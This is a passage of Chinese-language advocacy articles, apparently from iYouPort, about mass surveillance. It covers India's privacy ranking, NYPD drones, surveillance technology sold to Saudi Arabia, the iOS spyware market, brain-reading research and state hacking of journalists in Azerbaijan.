这就是为什么大规模监视是邪恶的，无论是否有人违反法律。它通过鼓励自我审查而不是直接将人们置于枪口之下，使政府有权决定和塑造人民的行为。

以不太明显的方式执行暴政；一个监狱，囚犯在那里被锁链困住；个人不敢在集体规范之外做任何事，因为害怕它可能被解释为违规。其惩罚很可能包括失去进入经济体的机会，当大多数人只能生活在从薪水到薪水之间时，这可能意味着死亡。

那么，现在你知道了，暴政背后的黑手是谁；最重要的是，为什么仅仅推翻一个独裁者是不够的。〇

原文

全球最大的民主国家也是全球最大的监视国家 - iYouPort

技术暴政

这不是标题党，就是事实。

「图」

「图」

印度是世界上最大的民主国家，也是最大的监视国家之一。

总部位于英国的研究公司 Compritech 发现，在监视公民方面，该国仅次于俄罗斯和中国。

在该研究公司的隐私指数排名中，印度在5分中得分2.4，表明“系统性的维护（隐私）保护措施失败”。

「图」

「图」

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

美国以**2.7**分的成绩在非欧洲国家中排名倒数第七。威胁美国人隐私的主要原因包括生物信息数据库的不断更新，以及各个部门的数据泄露等等。

- 《报告：美国和中国在监视公民方面引领全球》
- 《“社会信用”监视：英国、中国、美国和日本》

这项调查在47个国家/地区进行，其隐私评级依据是宪法保护、法定保护、隐私保护、生物识别、数据共享、以及政府对数据的访问权等。

尽管欧洲国家由于严格的《通用数据保护条例》（GDPR）而得分更好，但是，“没有任何国家在保护其公民的隐私方面始终如一”，Compritech 说。

- 长篇报告《铁幕之下：全球反抗者如何对战监视者？》
- 长篇报告《数字威权主义的兴起: 灾年之畔》
- 《"为什么所有国家政权都拒绝真正的保护公民隐私"》

“有多个国家正在创建只能被描述为监视国家的状态，而隐私权几乎不被考虑。”

对于印度来说尤其如此。

印度为什么会变成这样？

印度宪法保障基本的隐私权，但是，由于多种因素，印度人实际享有的隐私水平非常低。

1、臭名昭著的 **Aadhaar** 监视系统：在 Aadhaar 下，公民获得唯一的识别号。该系统拥有全球最大的生物特征数据库，即12.3亿人的数据。

这个有争议的系统过去曾因各种数据泄露而成为头条新闻。Aadhaar 数据库还包含购买、银行帐户和保险等私密信息。

2、数据保护法案：“该法案尚未生效，并且还没有一个数据保护机构，这意味着目前隐私保护非常薄弱，” Compritech 指出。

3、监控 **WhatsApp**：调查发现，政府使 Facebook 拥有的 WhatsApp 通过在发送的每条消息中添加数字指纹而使其消息变得可追溯，严重侵犯隐私。

4、**CCTV**：有关闭路电视监视器（CCTV）的法规含糊不清，任何与之相关的隐私法均开放解释。

5、其他原因：印度在安装高科技边境监视装置方面的努力以及与美国频繁共享信息的做法严重侵犯了隐私权。

值得注意的是，印度还与不同国家签订了多项司法互助条约。Compritech 还表示，最近印度已允许**10**个政府机构授权解密、监视和拦截任何计算机上的数据，如果服务提供商未能提供拦截功能，甚至会面临入狱长达七年。

Compritech 指出，印度的法律现在已经开始声称保护数据隐私，但对成功与否定持怀疑态度。

“新的数据保护法生效后，Covert 监视也将被禁止。但是，由于监视策略和生物识别技术已经取得了令人难以置信的进步，因此，法律究竟能改变什么，在很大程度上令人怀疑。”

安全港

在非欧盟国家中，隐私评分为3.1的挪威位居榜首。

然而，根据 Compritech 的说法，基于生物特征识别技术的引入可能使其处于危险之中。

「图」

「图」

在欧盟国家中，爱尔兰、法国、葡萄牙和丹麦是拥有适当保障措施的前四名。排名第五的马耳他的保障措施已经遭到削弱。

“对前五名（唯一获得“足够”分数的国家）来说，有趣的是，它们全部受GDPR法律管辖，” Compritech 指出。GDPR 法律确保欧盟和欧洲经济区（EEA）所有公民的数据保护和隐私。它还解决了这些区域之外的个人数据传输。

但是，绕开GDPR也并不难。

- 《为什么隐私保护法规并没能起到作用？》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《隐私法案管不住 Facebook 和 Google，怎么办》

○

原文

天空中的眼睛 - iYouPort

技术暴政无处不在，无处可逃-所谓的“智能”是什么

纽约警察局本周宣布将部署14架新无人机，作为其在纽约市的警务活动的一部分。这种高度侵入性技术的使用代表了公共安全危机和滥用权力又达到了新的前沿。

「图」

「图」

首先，了解无人机的强大程度非常重要。 NYPD 的无人机配备了先进技术和4K分辨率的摄像机。仅仅存在这些警用摄像机就会对行使言论自由权、抗议权和任何其他合法活动权利的人产生寒蝉效应。

由于它们非常小巧、灵活且相对便宜，因此，对当权者来说，无人机在许多情况下比警用直升机更具吸引力。大规模部署直升机非常昂贵，但定期使用无人机更加可行。并且由于体积很小，所以它们可以在直升机无法到达的地方飞行，⚠ 比如进入一个人的车库，或者停在你家卧室窗外。

鉴于无人机很容易进行监视以及 NYPD 令人不安的非法间谍历史，因此管理其使用的政策应该严格限制它们的部署时间和地点，这至关重要。

该部门的政策允许无人机用于监控大型活动中的车辆交通和行人聚集、以及枪击案或“大规模事件”中的屋顶安全观察。但该政策没有明确界定什么是“大规模事件”。该部门既提到了 Women’s March 权利运动、也提到了时代广场新年前夜的庆祝活动，但目前还不清楚哪些“较小的”事件同样可能引发警方对无人机的使用。

ACLU 表示，最担心的一个问题是，这些装置可以用来监视合法行使其宪法权利的抗议者。 NYPD 的政策中几乎没有平息这些担忧。

该政策还允许纽约警察局局长批准军官使用无人机进行“公共安全或

紧急情况”的监视。但是什么能构成公共安全或紧急情况，仍然没有准确定义，这些条款将适用于广泛的情况，很可能被滥用。

该政策中的一个“好消息”是，它特别禁止为无人机配备面部识别技术。但这个“好消息”并不是真实的，因为该政策并没有禁止该部门收回无人机后使用面部识别技术对摄像机拍摄的镜头进行处理。

ACLU 建议纽约警察局最多只保留无人机捕获的镜头24小时，没有具体的、定义明确的原因可以保存更长时间。 NYPD 保留镜头的时间越长，被储存的镜头越多，被滥用的可能性就越大。

但是，NYPD 的最终政策规定，镜头将保留30天！并且它还包括一些特定的—一个非常具体的—保留时间超出该限制的示例。

本文来自 ACLU 对纽约无人机监控初步调查的新闻稿，这是一个公民行使监督权的模版

附：「天空中的眼睛：无人机监视」

无人机的尺寸各不相同，从微型四旋翼到大型无人机。它们比普通飞机或直升机监视更难以被发现，有时可以在天空中停留更长的时间。现在已经有利用太阳能充电的无人机 Zephyr，能长时间停在空中。

无人机与有人驾驶飞机不同，因为它们通常更小，更便宜，部署更快，并且能够在低空飞行，在某些情况下，还可以在室内飞行进行监视。一些无人机通过手持设备手动控制。它们通常附有摄像机，不仅用于监视，还可供操作员通过摄像机查看以控制无人机。一些无人机也可以是自主的，因为它们可以飞行并执行某些功能而无需操作员持续参与。

民间机构经常使用无人机来调查土地和监测动物种群。许多学术机构为教育目的购买无人机。私人团体经常使用无人机进行娱乐、研究和新闻拍摄。

可配备无人机的技术令人不安，因为它们能够进行高度先进且接近持续的监视。

无人机收集什么类型的数据

无人机可以配备各种类型的监控设备，可以日夜收集高清视频和静止图像。无人机可以配备技术，允许监视者拦截手机通话，确定 GPS 位置，并收集车牌信息。无人机可用于确定个人是否携带枪支；合成

孔径雷达 可以识别景观的变化，例如脚印和轮胎痕迹，可有效地识别伪装和穿透掩盖物。有些无人机甚至配备了面部识别功能。

执法如何使用无人机

无人机最初几乎全部由军事和情报机构使用，但现在经常被联邦、州和地方执法机构使用。联邦政府用户包括 FBI，ICE，美国法警和海岸警卫队。

根据巴德学院无人机研究中心的研究，美国警方、治安官、消防和应急响应部门在 2009 年至 2017 年初期间购买了很多无人机，主要是治安官办公室和当地警察部门使用。

执法机构使用无人机进行大规模监视，犯罪调查，搜救行动，查找赃物以及调查土地和基础设施。在 2017 年的一起案件中，弗吉尼亚警方使用配备了热成像的无人机找到了藏在树林里的嫌疑人。一些警察部门可能会购买成对的无人机，可用于创建三维图像。

海关和边境保护局（CBP）使用无人机巡逻边界， 正在研究具有面部识别功能的无人机。美国海关与边境保护局一直使用先进的车载和拆卸雷达(VADER)监视系统，该系统最初用于阿富汗战争，在高达 25,000 英尺的高空探测地面人员。

2017 年，美国特勤局宣布将无人驾驶飞机纳入其监控工作。特朗普访问他在新泽西州的高尔夫俱乐部时无人机负责监视周边安全，尽管这样做很可能导致侵犯周边居民的隐私。

有无人机的机构也将无人机借给其他执法机构使用。例如，2013 年联邦通信委员会报告说，CBP 在三年内将其无人机借给外部机构约 500 次。

谁在卖无人机

据 Business Insider 称，全球最大的商用无人机制造商是中国的大疆，而 AeroVironment 是军方最大的无人机制造商。其他受欢迎的小型无人机制造商包括 3D Robotics， Sensefly， Yuneec， 航空成像解决方案和 Draganfly。根据美国联邦航空局的记录，这些是美国政府机构获得的最常见的品牌。

许多主要的国防承包商—包括通用动力公司，波音公司，L3 公司和洛克希德马丁公司—都向联邦政府出售无人机。在边境巡逻的联邦机构经常使用由 General Atomics 制造的 Predator 无人机，而这些无人

机又被借给当地和州执法机构。

无人机构成的威胁

无人机带来了许多隐私风险，因为它们可以收集大量公民的私人数据，包括参与受宪法保护行动的公民，即使他们并没有被指控任何犯罪。

在使用无人机进行搜索或监视之前，大多数州都不会要求执法部门获得搜查令。幸运的是，至少有18个州—阿拉斯加州，佛罗里达州，爱达荷州，伊利诺伊州，印第安纳州，爱荷华州，缅因州，蒙大拿州，内华达州，北卡罗来纳州，北达科他州，俄勒冈州，田纳西州，德克萨斯州，犹他州，佛蒙特州，弗吉尼亚州和威斯康星州—要求执法机构在某些情况下，获取使用无人机进行监视或进行搜查的搜查令。

一些城市已通过限制政府使用无人机的市政法规，例如限制视频存储和保留个人身份信息。然而，人们担心无人机可能会被用于更广泛的监视。这包括偶然收集到的、对无辜者进行的人脸识别或其他形式的生物识别分析。

2015 年底，美国国土安全部发布了使用无人机的州和地方机构的指导。建议限制无人机如何收集数据，如何使用数据，保留多长时间以及传播给谁，和用于何种目的。它甚至建议持续评估隐私影响，以及补救计划。但是，⚠ 该指南没有法律约束力，也没有涉及执法部门声称“调查目的”的任何无人机监视计划。

New NYPD Drone Policy Represents a Serious Threat to Privacy: The NYPD’s drones are outfitted with cameras equipped with sophisticated technology and 4K resolution. The mere presence of these police cameras can create a chilling effect on people exercising their rights to free speech, protest, and other lawful activities.

原文

当你被一枚井盖诱捕…… - iYouPort

以色列和NSO-间谍产业的领主技术暴政

如今人权问题总是事后的想法，如果还会想起来的话……

「图」

「图」

米德尔顿镇正在款待老大哥。这里被各种昂贵的、强大的监控系统所覆盖，它是英国国际安全博览会（英国国土安全旗舰会议）中心的间谍技术大荟萃。

展出的大部分间谍工具包来自世界各地，再被运往世界各地，从美国到沙特阿拉伯，无论是不是被运往人权记录卑劣的政权。继沙特在也门轰炸中使用美国炸弹和10月份在土耳其遇害的记者 Jamal Khashoggi 案之后，现在必须禁止所有欧洲国家向该王国出售武器和监视工具包。

“尽管 Khashoggi 被杀，也门正在进行战争，但对英国和美国公司向沙特阿拉伯运送监控设备的审查实在是太少了，”Global Justice Now 主任 Nick Dearden 说。

“很难相信这种设备不会被用来支持内部镇压，根据现有规则，英国政府应该拒绝给予出口许可证。但是正相反，如今人权问题总是事后的想法，如果还会想起来的话。“

面对活动家死亡的惊人事实并没有阻止米德尔顿周围的监视设备销售人员继续推销他们的商品。展出的是来自日本制造商 NEC 的面部识别，承诺“使用数以亿计的数据库进行面部搜索”。Radio Physics 展示了其英国设计的 MiRTLE 30 系统，该系统使用低功率雷达探测隐藏的武器，如突击步枪、三维打印的枪支和距离最远 100 英尺外的炸药。芬兰公司的 Asqella 产品在展出时看起来像一个超大的发光柱，这是为了在人们走过时覆盖人的全身，以寻找任何“危险”的隐藏设备。

以上这些似乎都显得很平常了。不过，

转过一个角落，发现了一些更新奇的东西。从外面看，它就像一个平淡无奇的井盖。然而，该产品的介绍人士告诉我们，这东西充满了监控设备，准备诱捕任何当局想要的人。嵌入在 Hugslock 的智能访问面版和支持系统（iNTACT）下面的是无数个传感器，可以持续监控当地环境。它们能够进行红外监视和运动检测，以及燃气、热量和水位监测。如果看起来不对劲，那么井盖就会向操作员发送警报，操作员可以采取他们认为必要的任何行动。

在与 Hugslock 的首席技术架构师 Adam Huggett 的谈话中我了解到，该系统实际上还没有在英国运行。但他确实表示，该井盖的第一个客户是：沙特阿拉伯。作为所谓的智能城市项目的一部分，Hugslock 将向该国运送 60 个 iNTACT。该公司希望在1月份签署另一份订单。

Hugslock 的董事丹尼斯·哈格特（Denise Huggett）认为沙特阿拉伯因其对智能城市的偏爱而具有吸引力。像纽约或伦敦这样的大都市正在努力将现代技术融入根深蒂固、陈旧且不灵活的基础设施中，使得大规模部署的可能性大大降低。但与此同时，沙特阿拉伯正在从零开始建设现代高端技术的城市。

- 延伸阅读：《Viedo 监视之城：谷歌打造的地狱世界》
- “智能城市”只是老大哥的新马甲；仅仅中国，在未来几年内就将在监视技术领域投入高达 300 亿美元；在这里了解你正在遭受的迫害《“智能城市”究竟是个什么鬼？》
- 中国当局如何钟情于本土老大哥《是谁在为中国政府的监视社会系统提供技术支持？》
- 全球监视技术市场分布图《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 《肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中》
- 至少在老大哥的世界里，切勿小看了中国《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》
- 看看谁在作恶《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

这位伪装成井盖的老大哥说，“智能城市的机遇是巨大的。那些通过智能城市议程投资改善基础设施或建设全新城市的国家已经预留了一般城市通常不具备的融资和投建时间，为公司提供了独特的机会 ……

如果不是智能城市，这些技术将无法实施。”

「图」

「图」

至于在当前的政治气候下在沙特阿拉伯工作的任何焦虑，Huggett 说，在一些工作人员访问该国后，她“没有任何担忧”。 ⚠注意她说的这句话，“该项目还与来自沙特阿拉伯以外的许多公司合作开展国际业务。”

Hugslock 并不是米德尔顿唯一向沙特献媚的供应商。美国供应商 Gatekeeper Intelligent Security 也一样，他们提供了一种系统，用于检测车辆内的驾驶员和乘客的面部，即使是贴了黑色薄膜的玻璃窗都能穿透。当这种东西与面部识别和车牌识别器结合使用时，它旨在帮助当局跟踪任何感兴趣的人。

该供应商说，你很难在中东地区找到一个还没有运行 Gatekeeper 扫描技术的国家，包括沙特阿拉伯、迪拜和阿联酋。

至于展会上的其他监控供应商，⚠日本巨头 NEC 在沙特阿拉伯也拥有重要的业务，在利雅得设有销售基地。 Radio Physics 在 2014 年告诉福布斯，沙特阿拉伯对其雷达监视技术品牌表现出极大的兴趣。然而，Asqella 不会说它把人体扫描技术都卖给谁了。

随着 Khashoggi 被谋杀，沙特政权受到相当严格的审查，以及该国的监控技术提供商。在过去的两周里，总部位于加拿大的沙特阿拉伯活动家奥马尔·阿卜杜勒阿齐兹和非营利组织大赦国际都向以色列 iPhone 间谍软件提供商 NSO 集团提起了诉讼，该公司的技术被用于对抗居住在国外的多名沙特人。

福布斯11月份透露，其中包括已故的 Khashoggi 的两名同事、大赦国际员工和 YouTube 的讽刺作家。

- 延伸阅读：这种间谍软件—— 以色列 #NSO 生产的 #Pegasus —— ⚠ 已经感染了45个国家，被用来监视异议人士。❗亚洲有香港（之所以没有发现中国的感染者，是因为无法对中国做DNS缓存探测）在这里看到详细报告：《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—亚洲有香港》
- 《NSO 间谍软件中招者的亲身经历—当恶意软件伪装网购物

流：来自政府的监控总能让你防不胜防》
- 《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》

10月，欧洲议会呼吁欧盟国家对沙特阿拉伯实施武器和监视设备的禁运。此次呼吁是为了回应对 Khashoggi 的杀戮，但不清楚它究竟能有什么样的影响。因为虽然议会批准了一份概述禁令的文本，但它没有约束力。

一个月前，Global Justice Now 宣布计划将英国政府告上法庭，因英国批准向一些国家提供监控出口，其中包括沙特阿拉伯。

自从 Khashoggi 被杀以来，各方面都在抨击沙特，活动家和政治家都希望这种趋势可以逆转沙特的压迫。但是，如果国际贸易博览会能够做点什么，监控技术业务也不至于如此被热衷。

Manhole Covers That Spy? Saudi Surveillance Cities Are Being Built With American And British Tech: Turning one corner, there was something novel. From the outside it looked like any prosaic manhole cover. Yet, as our host informed us, it came replete with monitoring equipment ready to ensnare any would be criminal, be they terrorist or troublesome vandal.

原文

恐怖的 0day 市场 - iYouPort

你我的灾难现实技术暴政

IOS 恶意软件并非如大众想象得那么稀少。由于苹果公司的全方位防护，iPhone 越狱难度越来越高，所以 IOS 操作系统中的恶意软件向来少见，但稀缺性也使得 ios 漏洞价值水涨船高。现在市场上有买家甚至愿意花费 300 万美元购买越狱需要的相关技术/工具/软件。#Malware #apple

⚠ 愿意支付高昂成本的买方还包括不少国家政府，比如（根据以色列报纸“国土报”报道）最近沙特阿拉伯支付了5500万美元购买臭名昭著的 NSO 制造的 iPhone 恶意软件。

有利可图的市场自然能吸引卖方，有几家公司专门研究ios恶意软件，例如 Azimuth，NSO Group 等。安全研究员 Zuk Avraham 在 twitter 上表示，⚠ 约有50个组织拥有 ios 漏洞。尽管如此，这个特殊的市场仍旧被大公司和政府客户控制。

今年1月，卡巴斯基实验室发现了一款名为 Skygofree 的复杂间谍软件。据传这一间谍软件由意大利政府监视承办商 Negg 制作，Negg 是一家小型初创企业，不如 NSO 或 Azimuth 名气大。对 Skygofree 调查分析时，卡巴斯基发现其中一个命令和控制服务器指向“流氓 Apple[移动设备管理]服务器”，允许音频监控和 GPS 跟踪活动。研究人员分析后推断这种恶意软件被发现时正处于发展阶段，尚未完全适应系统并感染潜在的受害者。

移动设备管理（MDM）是 iOS 中的一项功能，允许公司管理和监控员工的设备。通过在iPhone上安装 MDM 配置文件或证书，用户可以让 MDM 所有者对设备进行一些控制操作。恶意软件创建者可以利用此机制。今年7月，思科发现一个黑客组织使用移动设备管理瞄准印度的 iPhone（可以为每部 iPhone 开启移动设备管理。）

卡巴斯基实验室研究团队负责人 Costin Raiu 表示，Negg 的移动设备管理服务器仍处于活跃状态。Negg 和苹果对此都没有回复。

Malware on iOS has always been rare, thanks to the increasing

difficulty of jailbreaking iPhones and Apple's continuous focus on locking down its devices. This has driven prices for iOS bugs and exploits through the roof. Nowadays, companies are willing to pay around $3 million for software that jailbreaks and hacks iPhones—and researchers are reluctant to report bugs to Apple simply because others pay better: Malware Companies Are Finding New Ways to Spy on iPhones

原文

恐怖读心术 - iYouPort

你我的灾难现实技术暴政

读心术已经彻底实现了。新的技术能够在你的想法进入意识之前就预测到它，还可以将你脑子里出现的东西转化为可理解的和可识别的语音。这对隐私意味着什么？对那些被执法部门审讯的人意味着什么？

「图」

「图」

你究竟有没有自由意志？这个问题在学界已经争议了很多年。根据一项新的研究显示，也许人类真的没有自由。该研究显示，我们对个人选择的控制可能比我们想象的要少很多。在我们意识到它之前，无意识的大脑活动似乎已经决定了我们的选择。

澳大利亚新南威尔士大学心理学院未来思想实验室的研究人员能够预测参与者在有意识地宣布他们的决定之前所做出的基本选择。他们的研究结果发表在“科学报告”杂志上。

研究人员要求14名参与者在两种视觉模式之间自由选择—— 一种是红色水平条纹，另一种是绿色垂直条纹，在功能性磁共振成像仪（fMRI）观察之前有意识地想象选定的图案。

他们最多有20秒的时间来选择模式。一旦他们做出决定，就按下一个按钮，并用10秒钟的时间尽可能地将图案可视化。接下来，他们被问到“你想到什么？”和“它有多生动？”参与者按下按钮回答这些问题。

科学家们能够在人们的思想变得有意识之前就预测到人们会选择哪种模式。

以下是新南威尔士大学新闻稿对结果的解释：

研究人员不仅可以预测参与者会选择哪种模式，还可以预测参与者对

其可视化的评价程度。在机器学习的帮助下，研究人员成功地在思想变得有意识之前的平均*11*秒就能预测到了参与者的意志选择。

揭示未来选择信息的大脑区域是大脑的执行区域—— 帮助我们进行有意识的决策—— 以及视觉和皮质下结构，这表明了一个扩展的思想诞生区域网络。

Joel Pearson 教授说，我们可能会根据之前的大脑活动进行思考，然后在没有意识到的情况下过往的经验就会影响我们的最终决定：

“我们相信，当我们面对两种或两种以上思考的选择时，已经存在无意识的思维痕迹，有点像无意识的幻觉。当决定考虑什么时，大脑的执行区域会选择更强大的思维轨迹。换句话说，如果任何预先存在的大脑活动与您的一个选择相匹配，那么您的大脑将更有最可能选择该选项，因为它会被预先存在的大脑活动所提升。

例如，这可以解释为什么一遍又一遍地思考某些东西会导致对它的更多思考，因为它发生在一个积极的反馈循环中。“

未来思想的主观力量还取决于早期视觉皮层中的活动，早期视觉皮层是大脑中从外部世界接收视觉信息的区域。研究人员解释说，这表明感知区域（被认为随机变化）的当前活动状态会对我们对事物的思考程度产生影响。

虽然这些研究结果可能看起来令人震惊，但这项研究并不是第一次表明思想可以在意识到之前被预测的研究。

Quartz 报告称，这项研究建立在之前的研究基础之上：

正如研究人员指出的那样，类似的技术已经能够在人们的思考进入意识到之前的*7*到*10*秒之间预测到该决策，并且在人们有意识之前最多可以提前*4*秒预测到。总之，这些研究表明了对大脑的理解使我们对自由意志的概念复杂化了。

神经科学家早就知道大脑在你有意识采取行动之前就会作出准备，在意识和非意识之间只有几毫秒。这几毫秒可以让我们有机会有意识地拒绝无意识的冲动，似乎形成了自由意志的基础。

研究人员表示，他们的发现可能对精神障碍有影响，这些精神障碍涉及使用心理图像的思维入侵，如创伤后应激障碍。他们告诫不要假设所有选择都是通过预先存在的大脑活动来预先确定的。“我们的结果不能保证所有选择都是在非自愿图像出现之前，但它表明这种机制的

确存在，它可能会影响我们的日常选择，” Pearson 教授说。

这种研究可以使患有某些疾病的人受益—— 但代价是什么？

如果它落入错误的人手中，那么这种技术肯定会有被滥用和被操纵的可能性。

想想看，这对隐私意味着什么？对那些被执法部门审讯的人意味着什么？

这一清单还可以继续下去。

这还只是侵入性技术日益严重的问题的一部分。

就在上个月，哥伦比亚大学的神经工程师团队报告说"他们开发了一个系统"，可以将人们的想法转化为可理解的和可识别的语音。这是真正的读心术了。

如果您担心所有这些研究会走多远，那么您并不孤单。正如我在“科学事实”中所说的：读心技术现在已成为现实：

随着技术进步的快速发展，我们不得不怀疑……我们离技术奇点到底有多接近？

就此而言—事实上 Facebook 已经真正想到了直接从用户的大脑读取信息的方法。是的，你没看错：Facebook 想要读懂用户的想法。在2月份与哈佛大学法学院教授 Jonathan Zittrain 的访谈中，首席执行官马克扎克伯格已经提到了社交媒体巨头正在研究人们的大脑——（这东西看起来类似于浴帽）。

作为回应，Zittrain 说，“第五修正案的影响是惊人的。”

尽管多年来的媒体报道，公众对侵犯隐私权的行为感到愤怒，以及数百万用户的流失，但 Facebook 仍然决心要感染我们的生活，无论我们是否愿意。如果您认为自己不受科技巨头令人毛骨悚然的追踪者策略的影响，请再想一想：即使您已经停用了所有社交媒体账户——或者从未有过任何社交媒体账户—— 您的隐私也无法保证。

技术进步如此之快，难以跟上。

几乎每天都有关于新的和潜在侵入性发展的报道正在宣布。科学家和科技公司声称这项研究是为了“社会的利益”，即使在警告我们潜在的

危险时也是如此地胡扯。

是的，反乌托邦的噩梦正在逼近。

It sure seems like a dystopian nightmare is approaching. The Reality Of Mind-Reading: Neuroscientists Can Predict Your Choices 11 Seconds Before You Make Them

原文

技术型镇压的新时代暴政 - iYouPort

技术暴政

这是一个技术型暴政的典型例子：西方及其盟友贡献的网络战武器针对专制国家的反对派和异议人士展开了大规模的镇压式攻击。操纵、网络战、愚弄、盗取具有公信力的异议人士和记者的账户大面积分发恶意钓鱼链接……只为实现当权者的政治目的—主要为选举。在这种情况下民主已经名存实亡。本文并不是希望您对技术时代的民主失望，而是，希望能通过展示这些被广泛采用暴政新手段，帮助更多人了解掌握应战技巧的重要性。

11月24日，驻扎在巴库的记者阿齐兹卡里莫夫收到了一封来自 Facebook 的电子邮件，通知他有关重置密码的请求。卡里莫夫知道出了什么问题，因为他没有要求更改密码。九十分钟后，当他努力重新得以访问他的帐户时，他再次收到四封来自 Facebook 的通知。他被告知他自己已经被其他四个主页的管理员删除，其中一页属于阿塞拜疆唯一的独立新闻机构 **Turan News Agency**。

“我以为我设法改变了密码，但两三分钟后，我看到我被从所有页面中删除了，包括我自己创建的那些主页，”他说。

这不是卡里莫夫一个人的遭遇，另一个 Facebook 页面的管理员 Azadliq Radio，阿塞拜疆自由欧洲电台服务，也遭到了类似的入侵。在接下来的三到四个小时内，工作人员意识到他们丢失了所有视频内容—有超过2,000个视频、帖子和照片。该站还失去了其50万粉丝中的大约25,000名关注者。

这不是第一次以网页为目标的攻击，也不是第一次独立媒体成为这类攻击的受害者。去年，独立的图兰通讯社就成为了当局的目标，其主编被栽赃逃税和滥用职权从而被逮捕。去年1月，位于柏林的 Meydan TV 的 Facebook 页面—一个以三种语言报道阿塞拜疆事件的新闻网站—失去了对其 Facebook 页面的控制权。在其管理员无法访问该页面期间，该主页丢失了所有帖子以及其500,000个粉丝中的五

分之一。在所有情况下，最终都可以恢复对页面和帐户的访问。

卡里莫夫 Facebook 帐户的攻击者可以追溯到这位记者收到的电子邮件中显示的IP地址。该地址与一家名为 Enginet 的公司有关，这家有限责任公司将自己描述为一家专门从事阿塞拜疆先进信息技术的多功能公司。虽然关于 Enginet 的公开信息很少，但其所有权可"追溯到"阿塞拜疆教育部信息系统部门主任 **Samir Mammadov**。

更令人费解的是袭击的时机和原因。自2017年初以来，Azadliq Radio，Meydan TV 以及其他一些受欢迎的反对派和独立在线新闻网站均在阿塞拜疆被封锁。虽然用户可以使用**VPN**绕过封锁，但当局有可能通过"在线破坏性活动"来测试新监控技术的能力。

阿塞拜疆在社交媒体上实施的操控是世界各国政府如何阻止记者和组织者工作的一个典型例子。在12月孟加拉国选举之前，当局就暂停了全国的3G和4G服务数小时。最近的津巴布韦—在反对燃料价格翻番的暴力抗议活动中—政府阻止了所有互联网接入。津巴布韦人权非政府组织论坛指责当局切断互联网“是为了掩盖大规模的侵犯人权行为”。

更多这类案例详见《只有选票从来都不够，监视和审查正危机民主——选举季最先迎来的是网络封锁》

欧洲民权维护者高级项目官员迈克·鲁尼（Mike Runey）也是《阿塞拜疆数字镇压行动需要政治解决方案》的作者之一表示，这些攻击的目的是恐吓媒体：“当局的目标就是恐吓，并推动这种不安全的焦虑感。”

其他类似的骇客企图涉及 **Facebook** 上的反对派政治人物和活动家的网页。在2018年4月的总统大选前夕，前总统候选人卡米尔·哈桑利（Camil Hasanli）报告称，他的页面中原有108,350名订阅者一下子失去了75,000名、并且自2013年以来分享的所有个人帖子、视频和文章都丢失了。最近，1月20日，反对派政党人民阵线领导人阿里卡里姆利也报告了他的个人Facebook 账户被骇客入侵，所有内容都被删除了。

但是，虽然可以解释为选举前夕的敏感阶段，但 Karimov 和 Azadliq Radio 遭遇的破坏表明了一种新的方法的出现，这种方法已经雇用了更复杂的骇客，他们配备了更先进的技术可以阻止人们访问独立媒体、并沉默一切与官方不一致的声音。

根据2018年4月由 Virtual Road 进行的详细报道，这是一家媒体基金会 Qurium 运营的安全托管项目，阿塞拜疆政府的监视审查自**2017**年**3**月以来一直依赖深度包检测（**DPI**）。DPI 通过允许数字窃听来提取信息。如果说传统的在线窃听就像拿起一本书而只看到它的封面，那么 DPI 则是允许用户打开书并从头到尾阅读。

根据 Virtual Road 的调查报告，阿塞拜疆的 **DPI** 设备是从一家名为 **Allot Communications** 的以色列技术公司购买的；正是该公司在**2011**年"向伊朗出售"了类似的技术。Virtual Road 的报告显示了针对独立的和反对派媒体新闻网站的拒绝服务攻击和其他类型网络攻击的证据，这些攻击可追溯到与政府相关的IP地址。

2014年，公民实验室已经透露，阿塞拜疆是**21**个使用远程控制系统（**RCS**）的国家之一，这是另一种高效的监控技术，可以通过在线和离线的两种状态下从受感染的设备上收集数据。其他涉嫌使用 RCS 的国家包括哥伦比亚、埃及、马来西亚、沙特阿拉伯、土耳其和乌兹别克斯坦。数据是通过击键记录器获得的，该监视系统还允许攻击者在用户不知情的情况下打开设备的摄像头和麦克风。 虽然鱼叉式网络钓鱼和骇客社交媒体帐户是阻碍记者和活动家工作的两种最常见的方式，但其他形式的数字恐吓和监视还包括冒充帐户（即社交工程身份盗取）、删除请求、trolling 和敲诈勒索。关于如何抵制这些攻击，请详见我们的公开分类知识列表“技术防身”、以及“运动和反抗”两个部分。

最近发生的一起事件是 Azadliq Radio 的一名记者在 Facebook 上被一名叫 Teyyub Khalilov 的骚扰者施压，要求她透露有关她同事的信息。这是在该广播电台的 Facebook 页面遭到黑客入侵后不久发生的。虽然 Khalilov 的帐户在六小时后被 Facebook 删除，但这一事件严重影响了记者及其同事。

在过去几年中，国家赞助的 trolling 攻击也得到了广泛的应用。和中国一样，**trolls** 选取的重点基本都是当权者关注的热点议题，例如选举、公民投票和政治集会。攻击者还在 Facebook 帖子和 YouTube 视频的评论中进行鱼叉式网络钓鱼攻击。当 Facebook 页面被骇客攻击时，控制账户的攻击者会立即大面积发送恶意的或受感染的链接。

俄罗斯和厄瓜多尔等其他威权国家也出现了相同的模式。在菲律宾，Rodrigo Duterte 使用 trolls 为其2016年的总统竞选工作助力。像总理纳伦德拉·莫迪（Narendra Modi）的印度人民党（Bharatiya Janata Party）这样的印度政治团体也会动员数千名成员攻击政治对手。

国家操弄的在线服务中断的影响不仅限于审查。Facebook 页面反复遭到攻击的组织最终转移到了其他媒体平台，这可能会对他们的受众产生负面影响。这就意味着人们必须能在社交媒体平台转换之前组织起来，如果只是单纯的围观，转移平台就意味着疏散。

「图」

「图」

“然而，最终，不仅仅是为这些技术问题寻找技术解决方案。即使是非常擅长镇压和专制的政府也会认识到这一点，或者最终必须承认这一点，这就是为什么中国尽管在新疆部署了前所未有的大规模监视和恐吓技术工具，却同时采用了20世纪的大规模集中营工具。“

